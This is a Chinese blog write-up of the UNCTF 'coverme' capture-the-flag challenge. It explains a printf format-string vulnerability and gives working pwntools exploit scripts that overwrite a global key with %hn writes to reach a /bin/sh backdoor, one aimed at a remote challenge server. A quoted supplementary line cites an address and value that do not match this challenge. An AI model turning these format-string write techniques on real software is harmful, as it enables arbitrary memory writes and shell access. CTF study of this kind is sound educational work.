MENU

UNCTF 练习场 格式化字符串漏洞 coverme Writeup

November 4, 2020 • Read: 217 • Pwn

checksec 发现无PIE。
那么直接拖入IDA看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-40Ch]
  unsigned int v5; // [esp+40Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("I like You, But....what's your name?");
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  fgets(&s, 0x400, stdin);
  printf(&s);
  if ( key == 0x5201314 )
    getshell();
  else
    puts(" But I just like You.");
  return 0;
}

可以看到fgets读入0x400,而s数组也正好是0x400,不存在溢出。
但是通过fgets读入的字符串,直接传入的printf,这里就出现了格式化字符串漏洞。
然后可以看到这个getshell函数

int getshell()
{
  system("/bin/sh");
  return 0;
}

很简单的一个后门函数,所以说只要我们的key值为0x5201314就可以实现题目所需了。
找到key值的地址是,0x0804A030,而且是可以写入的地址。
那么我们怎么样利用printf进行写入呢?
我们可以注意到%n这个东西,这个东西的作用是将直接所有输出的内容的个数输入到相应参数的位置,注意:相应参数的位置,这个位置传入的是指针,也就和scanf的参数类似。
所以说我们的payload就是类似于

AAAA%85988112c%7$n

1.其中AAAA的位置就是要修改的指针的位置,要说明的是,这个程序是32位所以是4个字节,如果是64位,那就是8个字节。
2.**%7$n**这个的意思是,往后移动7个参数,正好是对应了AAAA的位置,这个通过调试可以得到。然后对应的%n也要改成$n。
3.%85988112c,也就是相当于输出了85988112个字节,这个数字是(0x5201314 - 4),4是因为我们AAAA的这个地址长度为4。
但是这样写完payload发送之后发现直接卡死了,原因就是因为85988112这个长度过大,当网络不好的时候就会卡死。

这时候我们可以利用一个小技巧。
其中%hn代表写入2个字节,%hhn代表写入1个字节。
这里我们可以写入0x0520和0x1314,或者0x05 0x20 0x13 0x14。
这里我们要注意
1.输出的字符依次增加,所以要修改的字节内容也应该依次增加。比如修改的正确顺序应该是,0x05 0x13 0x14 0x20。
所以我们可以考虑构造%hn的利用。

from pwn import *
#r = process('./coverme')
r = remote("120.79.17.251", 10011)
payload = p32(0x0804A032) + p32(0x0804A030) + "%" + str(0x520 - 8) + "c%7$hn" + "%" + str(0x1314 - 0x520) + "c%8$hn"
#gdb.attach(r)
r.sendlineafter("name?", payload)
r.interactive()

2020.11.17补充
格式化字符串漏洞还可以利用pwntools自带的fmtstr_payload来写入。
而且使用非常简单
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
来自:https://blog.csdn.net/weixin_43092232/article/details/105647076

from pwn import *
r = process('./coverme')
#r = remote("120.79.17.251", 10011)
payload = fmtstr_payload(7, {0x0804A030: 0x5201314})
r.sendlineafter("name?", payload)
r.interactive()
Last Modified: November 17, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code